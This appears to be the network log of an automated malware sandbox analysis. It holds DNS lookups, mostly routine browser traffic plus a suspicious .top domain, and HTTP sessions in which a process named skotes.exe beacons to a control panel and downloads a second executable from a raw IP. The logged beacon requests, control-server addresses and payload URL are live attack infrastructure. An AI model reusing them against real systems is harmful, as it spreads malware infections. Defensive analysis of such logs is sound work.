Nov 23, 2024 18:23:11.735559940 CET	1.1.1.1	192.168.2.4	0x82e6	No error (0)	shed.dual-low.s-part-0035.t-0009.t-msedge.net	s-part-0035.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 23, 2024 18:23:11.735559940 CET	1.1.1.1	192.168.2.4	0x82e6	No error (0)	s-part-0035.t-0009.t-msedge.net		13.107.246.63	A (IP address)	IN (0x0001)	false
Nov 23, 2024 18:23:11.736171961 CET	1.1.1.1	192.168.2.4	0x627a	No error (0)	js.monitor.azure.com	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 23, 2024 18:23:11.736171961 CET	1.1.1.1	192.168.2.4	0x627a	No error (0)	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net	star-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 23, 2024 18:23:20.014749050 CET	1.1.1.1	192.168.2.4	0x949f	No error (0)	shavar.services.mozilla.com	shavar.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 23, 2024 18:23:29.794275045 CET	1.1.1.1	192.168.2.4	0xaef6	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 23, 2024 18:23:29.794275045 CET	1.1.1.1	192.168.2.4	0xaef6	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Nov 23, 2024 18:23:30.096934080 CET	1.1.1.1	192.168.2.4	0x7d60	No error (0)	push.services.mozilla.com		34.107.243.93	A (IP address)	IN (0x0001)	false
Nov 23, 2024 18:23:30.190090895 CET	1.1.1.1	192.168.2.4	0x2051	No error (0)	balrog-aus5.r53-2.services.mozilla.com	prod.balrog.prod.cloudops.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 23, 2024 18:23:30.190090895 CET	1.1.1.1	192.168.2.4	0x2051	No error (0)	prod.balrog.prod.cloudops.mozgcp.net		35.244.181.201	A (IP address)	IN (0x0001)	false
Nov 23, 2024 18:23:30.216386080 CET	1.1.1.1	192.168.2.4	0xecdf	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 23, 2024 18:23:30.216386080 CET	1.1.1.1	192.168.2.4	0xecdf	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Nov 23, 2024 18:23:30.271406889 CET	1.1.1.1	192.168.2.4	0xe769	No error (0)	telemetry-incoming.r53-2.services.mozilla.com		34.120.208.123	A (IP address)	IN (0x0001)	false
Nov 23, 2024 18:23:30.274687052 CET	1.1.1.1	192.168.2.4	0x13b9	No error (0)	push.services.mozilla.com		34.107.243.93	A (IP address)	IN (0x0001)	false
Nov 23, 2024 18:23:30.328044891 CET	1.1.1.1	192.168.2.4	0x30df	No error (0)	firefox.settings.services.mozilla.com	prod.remote-settings.prod.webservices.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 23, 2024 18:23:30.328044891 CET	1.1.1.1	192.168.2.4	0x30df	No error (0)	prod.remote-settings.prod.webservices.mozgcp.net		34.149.100.209	A (IP address)	IN (0x0001)	false
Nov 23, 2024 18:23:30.465243101 CET	1.1.1.1	192.168.2.4	0xb0ab	No error (0)	telemetry-incoming.r53-2.services.mozilla.com		34.120.208.123	A (IP address)	IN (0x0001)	false
Nov 23, 2024 18:23:30.580918074 CET	1.1.1.1	192.168.2.4	0x6c47	No error (0)	prod.remote-settings.prod.webservices.mozgcp.net		34.149.100.209	A (IP address)	IN (0x0001)	false
Nov 23, 2024 18:23:31.749792099 CET	1.1.1.1	192.168.2.4	0xc2c1	No error (0)	telemetry-incoming.r53-2.services.mozilla.com		34.120.208.123	A (IP address)	IN (0x0001)	false
Nov 23, 2024 18:23:33.655919075 CET	1.1.1.1	192.168.2.4	0x87e0	No error (0)	www.facebook.com	star-mini.c10r.facebook.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 23, 2024 18:23:33.655919075 CET	1.1.1.1	192.168.2.4	0x87e0	No error (0)	star-mini.c10r.facebook.com		157.240.196.35	A (IP address)	IN (0x0001)	false
Nov 23, 2024 18:23:33.657011032 CET	1.1.1.1	192.168.2.4	0x471a	No error (0)	www.wikipedia.org	dyna.wikimedia.org		CNAME (Canonical name)	IN (0x0001)	false
Nov 23, 2024 18:23:33.657011032 CET	1.1.1.1	192.168.2.4	0x471a	No error (0)	dyna.wikimedia.org		185.15.58.224	A (IP address)	IN (0x0001)	false
Nov 23, 2024 18:23:33.657211065 CET	1.1.1.1	192.168.2.4	0xc992	No error (0)	www.youtube.com	youtube-ui.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 23, 2024 18:23:33.657211065 CET	1.1.1.1	192.168.2.4	0xc992	No error (0)	youtube-ui.l.google.com		172.217.19.238	A (IP address)	IN (0x0001)	false
Nov 23, 2024 18:23:33.657211065 CET	1.1.1.1	192.168.2.4	0xc992	No error (0)	youtube-ui.l.google.com		172.217.17.78	A (IP address)	IN (0x0001)	false
Nov 23, 2024 18:23:33.657211065 CET	1.1.1.1	192.168.2.4	0xc992	No error (0)	youtube-ui.l.google.com		142.250.181.110	A (IP address)	IN (0x0001)	false
Nov 23, 2024 18:23:33.657211065 CET	1.1.1.1	192.168.2.4	0xc992	No error (0)	youtube-ui.l.google.com		142.250.181.14	A (IP address)	IN (0x0001)	false
Nov 23, 2024 18:23:33.657211065 CET	1.1.1.1	192.168.2.4	0xc992	No error (0)	youtube-ui.l.google.com		142.250.181.78	A (IP address)	IN (0x0001)	false
Nov 23, 2024 18:23:33.657211065 CET	1.1.1.1	192.168.2.4	0xc992	No error (0)	youtube-ui.l.google.com		172.217.17.46	A (IP address)	IN (0x0001)	false
Nov 23, 2024 18:23:33.657211065 CET	1.1.1.1	192.168.2.4	0xc992	No error (0)	youtube-ui.l.google.com		172.217.19.206	A (IP address)	IN (0x0001)	false
Nov 23, 2024 18:23:33.896491051 CET	1.1.1.1	192.168.2.4	0x262b	No error (0)	star-mini.c10r.facebook.com		157.240.196.35	A (IP address)	IN (0x0001)	false
Nov 23, 2024 18:23:33.896580935 CET	1.1.1.1	192.168.2.4	0x8123	No error (0)	youtube-ui.l.google.com		172.217.17.46	A (IP address)	IN (0x0001)	false
Nov 23, 2024 18:23:33.896580935 CET	1.1.1.1	192.168.2.4	0x8123	No error (0)	youtube-ui.l.google.com		142.250.181.110	A (IP address)	IN (0x0001)	false
Nov 23, 2024 18:23:33.896580935 CET	1.1.1.1	192.168.2.4	0x8123	No error (0)	youtube-ui.l.google.com		142.250.181.14	A (IP address)	IN (0x0001)	false
Nov 23, 2024 18:23:33.896580935 CET	1.1.1.1	192.168.2.4	0x8123	No error (0)	youtube-ui.l.google.com		172.217.19.206	A (IP address)	IN (0x0001)	false
Nov 23, 2024 18:23:33.896580935 CET	1.1.1.1	192.168.2.4	0x8123	No error (0)	youtube-ui.l.google.com		172.217.19.238	A (IP address)	IN (0x0001)	false
Nov 23, 2024 18:23:33.896580935 CET	1.1.1.1	192.168.2.4	0x8123	No error (0)	youtube-ui.l.google.com		142.250.181.78	A (IP address)	IN (0x0001)	false
Nov 23, 2024 18:23:33.896580935 CET	1.1.1.1	192.168.2.4	0x8123	No error (0)	youtube-ui.l.google.com		172.217.17.78	A (IP address)	IN (0x0001)	false
Nov 23, 2024 18:23:33.898886919 CET	1.1.1.1	192.168.2.4	0x782f	No error (0)	dyna.wikimedia.org		185.15.58.224	A (IP address)	IN (0x0001)	false
Nov 23, 2024 18:23:34.047254086 CET	1.1.1.1	192.168.2.4	0xf97d	No error (0)	youtube-ui.l.google.com			28	IN (0x0001)	false
Nov 23, 2024 18:23:34.047254086 CET	1.1.1.1	192.168.2.4	0xf97d	No error (0)	youtube-ui.l.google.com			28	IN (0x0001)	false
Nov 23, 2024 18:23:34.047254086 CET	1.1.1.1	192.168.2.4	0xf97d	No error (0)	youtube-ui.l.google.com			28	IN (0x0001)	false
Nov 23, 2024 18:23:34.047254086 CET	1.1.1.1	192.168.2.4	0xf97d	No error (0)	youtube-ui.l.google.com			28	IN (0x0001)	false
Nov 23, 2024 18:23:34.047346115 CET	1.1.1.1	192.168.2.4	0x6a21	No error (0)	star-mini.c10r.facebook.com			28	IN (0x0001)	false
Nov 23, 2024 18:23:34.047877073 CET	1.1.1.1	192.168.2.4	0x2e7e	No error (0)	dyna.wikimedia.org			28	IN (0x0001)	false
Nov 23, 2024 18:23:34.234282970 CET	1.1.1.1	192.168.2.4	0x1936	No error (0)	www.reddit.com	reddit.map.fastly.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 23, 2024 18:23:34.234282970 CET	1.1.1.1	192.168.2.4	0x1936	No error (0)	reddit.map.fastly.net		151.101.1.140	A (IP address)	IN (0x0001)	false
Nov 23, 2024 18:23:34.234282970 CET	1.1.1.1	192.168.2.4	0x1936	No error (0)	reddit.map.fastly.net		151.101.129.140	A (IP address)	IN (0x0001)	false
Nov 23, 2024 18:23:34.234282970 CET	1.1.1.1	192.168.2.4	0x1936	No error (0)	reddit.map.fastly.net		151.101.193.140	A (IP address)	IN (0x0001)	false
Nov 23, 2024 18:23:34.234282970 CET	1.1.1.1	192.168.2.4	0x1936	No error (0)	reddit.map.fastly.net		151.101.65.140	A (IP address)	IN (0x0001)	false
Nov 23, 2024 18:23:34.234462976 CET	1.1.1.1	192.168.2.4	0x94ee	No error (0)	twitter.com		104.244.42.1	A (IP address)	IN (0x0001)	false
Nov 23, 2024 18:23:34.234462976 CET	1.1.1.1	192.168.2.4	0x94ee	No error (0)	twitter.com		104.244.42.129	A (IP address)	IN (0x0001)	false
Nov 23, 2024 18:23:34.234462976 CET	1.1.1.1	192.168.2.4	0x94ee	No error (0)	twitter.com		104.244.42.193	A (IP address)	IN (0x0001)	false
Nov 23, 2024 18:23:34.234462976 CET	1.1.1.1	192.168.2.4	0x94ee	No error (0)	twitter.com		104.244.42.65	A (IP address)	IN (0x0001)	false
Nov 23, 2024 18:23:34.407339096 CET	1.1.1.1	192.168.2.4	0x3b3c	No error (0)	twitter.com		104.244.42.1	A (IP address)	IN (0x0001)	false
Nov 23, 2024 18:23:34.407339096 CET	1.1.1.1	192.168.2.4	0x3b3c	No error (0)	twitter.com		104.244.42.129	A (IP address)	IN (0x0001)	false
Nov 23, 2024 18:23:34.407339096 CET	1.1.1.1	192.168.2.4	0x3b3c	No error (0)	twitter.com		104.244.42.65	A (IP address)	IN (0x0001)	false
Nov 23, 2024 18:23:34.407339096 CET	1.1.1.1	192.168.2.4	0x3b3c	No error (0)	twitter.com		104.244.42.193	A (IP address)	IN (0x0001)	false
Nov 23, 2024 18:23:34.410769939 CET	1.1.1.1	192.168.2.4	0x1fb4	No error (0)	reddit.map.fastly.net		151.101.1.140	A (IP address)	IN (0x0001)	false
Nov 23, 2024 18:23:34.410769939 CET	1.1.1.1	192.168.2.4	0x1fb4	No error (0)	reddit.map.fastly.net		151.101.65.140	A (IP address)	IN (0x0001)	false
Nov 23, 2024 18:23:34.410769939 CET	1.1.1.1	192.168.2.4	0x1fb4	No error (0)	reddit.map.fastly.net		151.101.129.140	A (IP address)	IN (0x0001)	false
Nov 23, 2024 18:23:34.410769939 CET	1.1.1.1	192.168.2.4	0x1fb4	No error (0)	reddit.map.fastly.net		151.101.193.140	A (IP address)	IN (0x0001)	false
Nov 23, 2024 18:23:35.586875916 CET	1.1.1.1	192.168.2.4	0xeac5	No error (0)	support.mozilla.org	prod.sumo.prod.webservices.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 23, 2024 18:23:35.586875916 CET	1.1.1.1	192.168.2.4	0xeac5	No error (0)	prod.sumo.prod.webservices.mozgcp.net	us-west1.prod.sumo.prod.webservices.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 23, 2024 18:23:35.586875916 CET	1.1.1.1	192.168.2.4	0xeac5	No error (0)	us-west1.prod.sumo.prod.webservices.mozgcp.net		34.149.128.2	A (IP address)	IN (0x0001)	false
Nov 23, 2024 18:23:35.774938107 CET	1.1.1.1	192.168.2.4	0x831c	No error (0)	us-west1.prod.sumo.prod.webservices.mozgcp.net		34.149.128.2	A (IP address)	IN (0x0001)	false
Nov 23, 2024 18:23:40.398212910 CET	1.1.1.1	192.168.2.4	0xfdc2	No error (0)	home.fvtekk5pn.top		34.116.198.130	A (IP address)	IN (0x0001)	false
Nov 23, 2024 18:23:58.985785007 CET	1.1.1.1	192.168.2.4	0x12c7	No error (0)	balrog-aus5.r53-2.services.mozilla.com	prod.balrog.prod.cloudops.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 23, 2024 18:23:58.985785007 CET	1.1.1.1	192.168.2.4	0x12c7	No error (0)	prod.balrog.prod.cloudops.mozgcp.net		35.244.181.201	A (IP address)	IN (0x0001)	false
Nov 23, 2024 18:23:58.985811949 CET	1.1.1.1	192.168.2.4	0x4097	No error (0)	services.addons.mozilla.org		151.101.65.91	A (IP address)	IN (0x0001)	false
Nov 23, 2024 18:23:58.985811949 CET	1.1.1.1	192.168.2.4	0x4097	No error (0)	services.addons.mozilla.org		151.101.1.91	A (IP address)	IN (0x0001)	false
Nov 23, 2024 18:23:58.985811949 CET	1.1.1.1	192.168.2.4	0x4097	No error (0)	services.addons.mozilla.org		151.101.129.91	A (IP address)	IN (0x0001)	false
Nov 23, 2024 18:23:58.985811949 CET	1.1.1.1	192.168.2.4	0x4097	No error (0)	services.addons.mozilla.org		151.101.193.91	A (IP address)	IN (0x0001)	false
Nov 23, 2024 18:23:58.985826969 CET	1.1.1.1	192.168.2.4	0xb774	No error (0)	normandy.cdn.mozilla.net	normandy-cdn.services.mozilla.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 23, 2024 18:23:58.985826969 CET	1.1.1.1	192.168.2.4	0xb774	No error (0)	normandy-cdn.services.mozilla.com		35.201.103.21	A (IP address)	IN (0x0001)	false
Nov 23, 2024 18:23:59.149167061 CET	1.1.1.1	192.168.2.4	0x320	No error (0)	services.addons.mozilla.org		151.101.193.91	A (IP address)	IN (0x0001)	false
Nov 23, 2024 18:23:59.149167061 CET	1.1.1.1	192.168.2.4	0x320	No error (0)	services.addons.mozilla.org		151.101.1.91	A (IP address)	IN (0x0001)	false
Nov 23, 2024 18:23:59.149167061 CET	1.1.1.1	192.168.2.4	0x320	No error (0)	services.addons.mozilla.org		151.101.65.91	A (IP address)	IN (0x0001)	false
Nov 23, 2024 18:23:59.149167061 CET	1.1.1.1	192.168.2.4	0x320	No error (0)	services.addons.mozilla.org		151.101.129.91	A (IP address)	IN (0x0001)	false
Nov 23, 2024 18:23:59.149425030 CET	1.1.1.1	192.168.2.4	0xaf49	No error (0)	prod.balrog.prod.cloudops.mozgcp.net		35.244.181.201	A (IP address)	IN (0x0001)	false
Nov 23, 2024 18:23:59.149477959 CET	1.1.1.1	192.168.2.4	0xb2c6	No error (0)	normandy-cdn.services.mozilla.com		35.201.103.21	A (IP address)	IN (0x0001)	false
Nov 23, 2024 18:23:59.389861107 CET	1.1.1.1	192.168.2.4	0x7f6	No error (0)	services.addons.mozilla.org			28	IN (0x0001)	false
Nov 23, 2024 18:23:59.389861107 CET	1.1.1.1	192.168.2.4	0x7f6	No error (0)	services.addons.mozilla.org			28	IN (0x0001)	false
Nov 23, 2024 18:23:59.389861107 CET	1.1.1.1	192.168.2.4	0x7f6	No error (0)	services.addons.mozilla.org			28	IN (0x0001)	false
Nov 23, 2024 18:23:59.389861107 CET	1.1.1.1	192.168.2.4	0x7f6	No error (0)	services.addons.mozilla.org			28	IN (0x0001)	false
Nov 23, 2024 18:24:02.352581978 CET	1.1.1.1	192.168.2.4	0xfaa8	No error (0)	a21ed24aedde648804e7-228765c84088fef4ff5e70f2710398e9.r17.cf1.rackcdn.com	a17.rackcdn.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 23, 2024 18:24:02.352581978 CET	1.1.1.1	192.168.2.4	0xfaa8	No error (0)	a17.rackcdn.com	a17.rackcdn.com.mdc.edgesuite.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 23, 2024 18:24:02.352631092 CET	1.1.1.1	192.168.2.4	0xfaa8	No error (0)	a21ed24aedde648804e7-228765c84088fef4ff5e70f2710398e9.r17.cf1.rackcdn.com	a17.rackcdn.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 23, 2024 18:24:02.352631092 CET	1.1.1.1	192.168.2.4	0xfaa8	No error (0)	a17.rackcdn.com	a17.rackcdn.com.mdc.edgesuite.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 23, 2024 18:24:06.511291981 CET	1.1.1.1	192.168.2.4	0x579a	No error (0)	fvtekk5pn.top		34.116.198.130	A (IP address)	IN (0x0001)	false
Nov 23, 2024 18:24:09.347453117 CET	1.1.1.1	192.168.2.4	0x663d	No error (0)	fvtekk5pn.top		34.116.198.130	A (IP address)	IN (0x0001)	false
Nov 23, 2024 18:24:14.379591942 CET	1.1.1.1	192.168.2.4	0xb57d	No error (0)	push.services.mozilla.com		34.107.243.93	A (IP address)	IN (0x0001)	false
Nov 23, 2024 18:24:15.906163931 CET	1.1.1.1	192.168.2.4	0x8c2c	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 23, 2024 18:24:15.906163931 CET	1.1.1.1	192.168.2.4	0x8c2c	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Nov 23, 2024 18:24:29.664638996 CET	1.1.1.1	192.168.2.4	0x2314	No error (0)	telemetry-incoming.r53-2.services.mozilla.com		34.120.208.123	A (IP address)	IN (0x0001)	false
Nov 23, 2024 18:24:31.215784073 CET	1.1.1.1	192.168.2.4	0x56aa	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 23, 2024 18:24:31.215784073 CET	1.1.1.1	192.168.2.4	0x56aa	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Nov 23, 2024 18:24:38.619507074 CET	1.1.1.1	192.168.2.4	0x2740	No error (0)	fvtekk5pn.top		34.116.198.130	A (IP address)	IN (0x0001)	false
Nov 23, 2024 18:24:55.919720888 CET	1.1.1.1	192.168.2.4	0xe507	No error (0)	push.services.mozilla.com		34.107.243.93	A (IP address)	IN (0x0001)	false
Nov 23, 2024 18:24:57.371865034 CET	1.1.1.1	192.168.2.4	0x6e2f	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 23, 2024 18:24:57.371865034 CET	1.1.1.1	192.168.2.4	0x6e2f	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Nov 23, 2024 18:26:17.671053886 CET	1.1.1.1	192.168.2.4	0xb4cf	No error (0)	push.services.mozilla.com		34.107.243.93	A (IP address)	IN (0x0001)	false
Nov 23, 2024 18:26:17.831680059 CET	1.1.1.1	192.168.2.4	0xafb	No error (0)	push.services.mozilla.com		34.107.243.93	A (IP address)	IN (0x0001)	false
Nov 23, 2024 18:26:19.323507071 CET	1.1.1.1	192.168.2.4	0x61d2	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 23, 2024 18:26:19.323507071 CET	1.1.1.1	192.168.2.4	0x61d2	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Nov 23, 2024 18:26:32.031979084 CET	1.1.1.1	192.168.2.4	0x58c5	No error (0)	telemetry-incoming.r53-2.services.mozilla.com		34.120.208.123	A (IP address)	IN (0x0001)	false
Nov 23, 2024 18:26:32.136801958 CET	1.1.1.1	192.168.2.4	0x58c5	No error (0)	telemetry-incoming.r53-2.services.mozilla.com		34.120.208.123	A (IP address)	IN (0x0001)	false
Nov 23, 2024 18:28:08.389127016 CET	1.1.1.1	192.168.2.4	0x4531	No error (0)	telemetry-incoming.r53-2.services.mozilla.com		34.120.208.123	A (IP address)	IN (0x0001)	false
Nov 23, 2024 18:28:30.310878038 CET	1.1.1.1	192.168.2.4	0x2860	No error (0)	spocs.getpocket.com	prod.ads.prod.webservices.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 23, 2024 18:28:30.310878038 CET	1.1.1.1	192.168.2.4	0x2860	No error (0)	prod.ads.prod.webservices.mozgcp.net		34.117.188.166	A (IP address)	IN (0x0001)	false
Nov 23, 2024 18:28:30.454484940 CET	1.1.1.1	192.168.2.4	0x41c5	No error (0)	prod.ads.prod.webservices.mozgcp.net		34.117.188.166	A (IP address)	IN (0x0001)	false
Nov 23, 2024 18:28:31.584619999 CET	1.1.1.1	192.168.2.4	0xf765	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 23, 2024 18:28:31.584619999 CET	1.1.1.1	192.168.2.4	0xf765	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Nov 23, 2024 18:28:53.515183926 CET	1.1.1.1	192.168.2.4	0x93b9	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 23, 2024 18:28:53.515183926 CET	1.1.1.1	192.168.2.4	0x93b9	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Nov 23, 2024 18:28:59.635562897 CET	1.1.1.1	192.168.2.4	0x589	No error (0)	push.services.mozilla.com		34.107.243.93	A (IP address)	IN (0x0001)	false
Nov 23, 2024 18:28:59.782449961 CET	1.1.1.1	192.168.2.4	0x8d6c	No error (0)	push.services.mozilla.com		34.107.243.93	A (IP address)	IN (0x0001)	false
Nov 23, 2024 18:29:01.245337009 CET	1.1.1.1	192.168.2.4	0x4eb9	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 23, 2024 18:29:01.245337009 CET	1.1.1.1	192.168.2.4	0x4eb9	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Nov 23, 2024 18:29:55.259047985 CET	1.1.1.1	192.168.2.4	0x70ef	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 23, 2024 18:29:55.259047985 CET	1.1.1.1	192.168.2.4	0x70ef	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49742	185.215.113.43	80	5740	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 18:22:04.627156973 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 23, 2024 18:22:05.976701975 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 17:22:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49754	185.215.113.43	80	5740	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 18:22:07.638830900 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 32 32 46 37 39 42 37 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7CB22F79B75082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 23, 2024 18:22:08.995901108 CET	558	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 17:22:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 36 66 0d 0a 20 3c 63 3e 31 30 30 38 34 38 33 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 65 38 65 37 65 37 62 39 63 61 33 30 38 30 34 30 34 32 62 61 35 63 65 39 30 32 34 31 35 34 35 30 23 31 30 30 38 34 38 34 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 65 38 66 38 65 36 62 31 63 61 37 32 64 64 35 33 34 64 62 30 35 37 65 62 34 31 30 61 34 39 34 64 39 64 23 31 30 30 38 34 38 35 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 65 38 66 63 66 37 62 38 63 37 33 30 38 30 34 30 34 32 62 61 35 63 65 39 30 32 34 31 35 34 35 30 23 31 30 30 38 34 38 36 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 [TRUNCATED] Data Ascii: 16f <c>1008483001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8e7e7b9ca30804042ba5ce902415450#1008484001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8f8e6b1ca72dd534db057eb410a494d9d#1008485001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8fcf7b8c730804042ba5ce902415450#1008486001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8e4f4b2846d934f48b15eaa495c49#<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49755	185.215.113.16	80	5740	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 18:22:09.123831034 CET	55	OUT	GET /luma/random.exe HTTP/1.1 Host: 185.215.113.16
Nov 23, 2024 18:22:10.470752954 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 17:22:10 GMT Content-Type: application/octet-stream Content-Length: 1857536 Last-Modified: Sat, 23 Nov 2024 16:31:34 GMT Connection: keep-alive ETag: "67420366-1c5800" Accept-Ranges: bytes Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 51 3c 3f 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 0a 04 00 00 c2 00 00 00 00 00 00 00 c0 49 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 f0 49 00 00 04 00 00 28 1a 1d 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 5c 80 05 00 70 00 00 00 00 70 05 00 b0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 05 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PELQ<?gI@I(@\pp `b@.rsrcpr@.idata t@ `*v@okzfovcg/x@ujgghjaoI0@.taggant0I"6@
